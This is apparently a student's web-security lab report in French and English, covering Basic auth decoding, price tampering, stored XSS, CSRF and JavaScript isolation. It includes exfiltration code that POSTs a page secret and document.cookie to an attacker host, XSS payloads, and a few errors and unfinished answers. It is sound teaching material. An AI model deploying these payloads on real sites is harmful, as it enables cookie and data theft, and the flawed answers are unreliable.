TP1 Sécurité des Application Web

Quentin Dubois

2023-11-21

Question 1 : (File : authentication.php) Explain how looking at the http headers sent by this application after a user logs in, an attacker can find out the password used for authentication.

Le champ **Authorization** de l'application contient le nom et le mot de passe de l'utilisateur encodés en base64 de la manière suivante : <username> :<password>. Nous connaissons le formatage grâce à la valeur Basic indiqué en premier dans le champ Authorization.

```
Authorization: Basic YWE6YWE=
```

En décodant le message en base 64, nous obtenons la valeur suivante :

```
echo 'YWE6YWE=' | basez64 -d
aa:aa
```

Question : 2. (File : formAttack.html) Explain why this web page sent by the site dansie.net is vulnerable to an attack where the client can buy a black leather purse with leather straps by less than 20 dollars. How can such an attack be mounted ? Modify the page in such a way that when the user submits the form a service price.php at the server sets a cookie that lasts 7 days with the price of the article. Write a second service confirms.php that confirms the transaction of buying.

How an attacker (a client using the application) can now buy articles by a cheaper price than the one set by price.php ?

Les informations des articles sont harcodés côté client dans des balises input en hidden. Les informations côtés client sont ensuite envoyé au script php côté serveur pour récupérer le panier du client. L'utilisateur peut donc modifier le champ "price" envoyé pour le formulaire afin de baisser le prix de l'article et donc payer moins cher.

```
// price.php
<?php
    // setcookie(
        // string $name,
        // string $value = "",
        // int $expires_or_options = 0,
        // string $path = "",
        // string $domain = "",
        // bool $secure = false,
        // bool $httponly = false
    // ): bool
```

```
    setcookie("price_cart", $_POST["price"], time() + (7 * 24 * 60 * 60), "/")
?>
```

```
// confirms.php
if ($_POST["price"] != $_COOKIE["price_cart"]) {
    // return an error to the client
}

// else everything is goood
```

If price.php adds a hash to the price in the cookie, how an attacker can buy articles by a cheaper price than the one set by price.php ?

Il a besoin de modifier les cookies présent dans son navigateur en modifiant la clé contenant le hash du prix. Il n'a plus qu'a modifier avec le hash du prix voulu.

Question 3 : (File : integrator.html) Look at the code of integrator.html and write code for evilGadget.js in such a way that evilGadget.js will send the secret to an untrusted server. How do you rewrite integrator.html so the same origin policy (SOP) will protect the secret ?

```
// evilGadget.js
secret = document.getElementById("secret").innerText

urlAttackerServer = "http://attacker.com/"
const request = {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify(secret)
};

// envoie d'une requete POST contenant le secret au serveur de l'attaquant
fetch(urlAttackerServer, request);
```

Pour mettre en place le SOP : . . .

Question 4 : (No file) Write two different services from the same server that set a cookie. On the client side include a gadget and try the following things :

- let the gadget delete the cookie via JavaScript
- Can the second service delete the cookie of the first ? Justify why.
- let the gadget send the cookie to another server (you can use a different port to simulate this)
- Does the previous item work if the gadget is inside a frame ?
- and if gadget is inside a script and the cookie is initially set as httponly ?
- and if gadget is in script and the cookie is initially set as secure ? Justify all your answers.

```
// cookie1.php
<?php
    setcookie("cookie1", "value1", time() + (7 * 24 * 60 * 60))
?>
```

```php
// cookie2.php
<?php
    setcookie("cookie2", "value2", time() + (7 * 24 * 60 * 60))
?>
```

Let the gadget delete the cookie via JavaScript

```
// cookieModifier.js
// delete the cookie
document.cookie = ""
```

Can the second service delete the cookie of the first ? Justify why.

Oui, car les scripts sont herbergés sur le même serveur, ils ont donc le même nom de domaine. Le navigateur isole les cookies en fonction de leur nom de domaine. Ainsi les deux scripts partagent les même cookies.

let the gadget send the cookie to another server (you can use a different port to simulate this)

```
urlAttackerServer = "https://other-domain.com/"
const request = {
    method: 'POST',
    headers: { 'Content-Type': 'application/json',
    body: JSON.stringify(document.cookie)
};

// envoie d'une requete POST contenant le secret au serveur de l'attaquant
fetch(urlAttackerServer, request);
```

Does the previous item work if the gadget is inside a frame ?

Non, car les iframes doivent respecter le SOP (Same Origin Policy) et le serveur “other-domain” ne constitue pas la même origine.

and if gadget is inside a script and the cookie is initially set as httponly ?

Si le cookie est configuré en httpOnly, il n’est pas possible d’y accéder depuis le code javascript du client.

and if gadget is in script and the cookie is initially set as secure ? Justify all your answers.

L’option secure du cookie permet de garantir que le cookie n’est envoyé par le serveur que sur des connexions chiffrés (HTTPS). Cela n’influe en rien l’accès au cookie au niveau du client.

Question 5 : (File : guestbook.php, guestbookleavemessage.php. You must create file message.txt.) Use the application : to which kind of vulnerability suffers the application ? Demonstrate with an attack that disables the input element of the guestbook. Mention 2 ways in which this attack could be prevented and implement them in 2 versions of guestbook : guestbookA.php and guestbookB.php.

Je l’ai déjà fait dans le TP2.
L’applications souffre d’une stored XSS (Cross-Site Scripting).

Attaque pour désactiver l’input élément de l’applciation :

Entrer dans l’input la valeur suivante afin qu’elle soit stocké côté serveur.

```
<script>document.getElementById("message").disabled = true;</script>
```

Ensuite à chaque fois que la page sera chargé à un utilisateur, il sera impossible pour celui-ci d'entrer une valeur dans l'input.

2 moyens de se défendre contre cette attaques :

- Utilisation du CSP (Content Security Policy)
- Encodage des caractères html spéciaux (utilisation de htmlenteties / htmlspecialchars en php)

Implémentations :

Il nous faut modifier le script php côté serveur : **guestbookleavemessage.php**

```
// Implement CSP
<?php
header("Content-Security-Policy: script-src 'self'");
$message= $_GET["message"]."<br>" ;
$file="messages.txt";
file_put_contents($file,$message,FILE_APPEND);
$messages=file_get_contents($file);
echo  $messages;
?>
```

```
// Implement Char encoding
<?php
$message= htmlentities($_GET["message"])."<br>" ;
$file="messages.txt";
file_put_contents($file,$message,FILE_APPEND);
$messages=file_get_contents($file);
echo  $messages;
?>
```

Question 6 : (File : guestbook2.php, guestbookleavemessage2.php). This application uses a standard php function for sanitization, however the following attacker code can be executed : this is a nice message ?) ;alert(?this is attacker code ?) ;console.log(? Try the attack and explain why it works in spite of sanitization. How do you correct this vulnerability ?

Le code a rentrer dans l'input est le suivant :

```
this is a nice message?");alert('xss');console.log("<br>
```

Les inputs de l'utilisateurs sont utilisés dans une balise script par la fonction document.write. L'objectif est ici de fermer le parenthèse de l'appel à document.write et d'injecter notre code ensuite grâce au ";" pour chainer nos commande. Nous allons ensuite exécuter le code malveillant ici, `alert('xss');`. Nous terminons finalement par un appel à `console.log("`, afin de se "débarrasser" de l'encodage des caractères spéciaux "<" et ">" présents dans `<br>`, réalisé par la fonction "htmlspecialchars".

Ici, ce code fonctionne car la fonction "htmlspecialchars" est appelée avec le paramètre "ENT_NOQUOTES", qui spécifie qu'aucun caractère quotes n'est encodés par la fonction. Cette condition est absolument nécessaires pour que notre attaque réussisse.

Pour corriger la vulnérabilité, il suffit d'enlever le paramètre "ENT_NOQUOTES" de la fonction "htmlspecialchars", ainsi tous les caractères spéciaux sont encodés y compris les caractères quotes. Ainsi, notre attaque ne réussit plus.

Question 7 : (File : xsrf.php, simple.php) Explain which code should attackerGadget.js have to produce a CSRF attack and answer :

- **which is the CSRF attack ?**
- **can the attack take place if the gadget is in an iframe ? Justify your answer.**
- **can the attack take place if the cookie is httponly ? Justify your answer.**
  Using tokens, prevent CSRF attacks in this application. Having implemented a defense against CSRF attacks, explain how attackerGadget.js could mount an XSS attack to circunvent the CSRF defense and produce an CSRF attack. After implementing the attack, explain how do you prevent this.

Explain which code should attackerGadget.js have to produce a CSRF attack ?

Le fichier attackerGadget.js doit contenir du code permettant d'exécuter une requête API sur un autre site, sur lequel celui-ci est connecté, c'est-à-dire qu'il possède une session active. L'utilisateur va donc réaliser l'action spécifié dans le script à son insu.

Which is the CSRF attack ?

La CSRF est possible grâce à une stored XSS, le chargement malveillant du script est inclus dans une balise script de la page html renvoyée à l'utilisateur.

Can the attack take place if the gadget is in an iframe ?

Non, car la politique du SOP (Same Origin Policy) va rentrer en jeu et le script ne pourra pas être chargé car le couple nom de domaine / port est différent de celui utilisé par le site.

Can the attack take place if the cookie is httponly ?

Oui, le navigateur va quand même envoyer le cookie de session de l'utilisateur, car la requête envoyé utilise bel et bien HTTP.

Si des secrets sont présent dans localstorage et nécessaires lors de l'appel API, le hacker ne pourra pas y avoir accès et l'action malveillante ne pourra pas avoir lieu. En revanche, si le CSRF à lieu sur le même site (nom de domaine), l'attaquant peut accéder au localstorage et donc aux secrets nécessaires pour réaliser des appels API.

There is no way to prevent a CRSF attack combined with an XSS attack.

Question 8 : (File : api.js, mashup.html) The mashup provides an api for b.js to create new users. The code of b.js is unknown but it should create new users by using the command new newuser("somename", "someemail"). Assume that script b.js is correctly verified for the following : its code does not access any property of window except newuser() that is provided as an interface. Answer the following questions and justify :

- **can b.com get the value of variable secret ? can b.com access the window object ?**
- **Now assume that b.js is in an iframe, and answer the same questions.**

can b.com get the value of variable secret ?

Oui, il techniquement peut y accéder dans le fichier b.js et donc utiliser une requête HTTP pour exfiltrer la donnée. La variable est une variable global, elle est donc attaché à l'object window.

Now assume that b.js is in an iframe, and answer the same questions.

Le script ne peut plus accéder à l'objet window de la page web principal, puisqu'il est dans une iframe.

Question 9 : (File : attacker.js, mashup1.html, code of trusted.js or boot.js is not given) what is the vulnerability to which trusted.js is exposed ? Write code for boot.js to prevent the attack.

L'attaquant à redéfinie la fonction XMLHttpRequest dans l'objet window, ainsi le script trusted.js ne pourra plus l'utiliser dans son code. Cette exemple permet de montrer qu'un attaquant peut redéfinir des fonctions attaché à window qui sont utilisé par des scripts légitimes, modifiant leur comportement.

Il est possible de bloquer le rédéfinition d'une propriété sur un objet grâce à `Object.defineProperty`. Ainsi, si nous nous voulons bloquer la redéfinition de la fonction `XMLHttpRequest` sur notre objet window il faudrait exécuter le code suivant :

```
// boot.js
Object.defineProperty(window, 'XMLHttpRequest', {
    value : XMLHttpRequest,
    writable: false,
    configurable: false
});
```

Question 10 : (File : no file) Let adapi.js be the code for some external gadget. Assume that code for adapi.js has been verified and cannot access window directly, however it has access to function integrator whenever it is available. For each of the following versions of the mashup, can the external gadget adapi.js

- **read the value of secret ?**
- **obtain a pointer to window ?**
  Justify and discuss your answer for each of the proposals. If we remove the assumption that code for adapi.js cannot access window directly, does any of your previous answers change ?

Version 1 :
read secret : Non
pointer to window : Oui

Version 2 :
read secret : Oui
pointer to window : Oui

La variable secret est global et est donc attaché à l'objet window (javascript pas en mode strict).

Version 3 :
read secret : Oui
pointer to window : Non

La fonction est une "immediately-invoked function expression" (IIFE). l'intérêt de ces fonctions est de créer une scope privée pour éviter de polluer la scope global.

Version 4 :
read secret : Non
pointer to window : Non

Si le script peut accéder à l'objet window, les réponses ne vont pas changer, car les variables non accessibles le sont toujours, puisqu'elles sont définies dans un scope local.

Question 11 : (File : no file) Consider the following JavaScript code and answer if it is possible for an attacker that can inject any code into function toto to learn the secret value 3 stored in variable secret.

Oui, il injecte un code permettant d'accéder à la variable secret, ex : `console.log(secret)`.
On construit à chaque fois l'objet retourner jusqu'à la fonction toto, ainsi le code va être exécuté.

Answer the same question for the following code :

La réponse est non, car il va créer l'objet et ces variables mais sans exécuter le code.

Question 12 : (File : no file) Assume you have a function lookup that will replace any access to a property of the form o[prop] in attacker code by lookup(o, prop). The goal of lookup is to prevent any access to a special property "secretproperty". Which of the following 2 implementations of lookup satisfy this goal ? Justify your answer.

La première est solution est mauvaise à cause de l'utilisation du "===". Dans ce cas, la vérification se fait sur le type et la valeur. Un attaquant peut donc bypasser le guard en utilisant un type différent de string comme String.

```
prop = "secretproperty" // rentre dans le guard
prop = new String("secretproperty") // bypass le guard
```

La deuxième fonction ne s'exécute même pas à cause de `o[goodproperty]`, il faudrait mettre `o[goodproperty[prop]]`. Dans ce cas là, cela fonctionnerait et correspondrait à la bonne solution.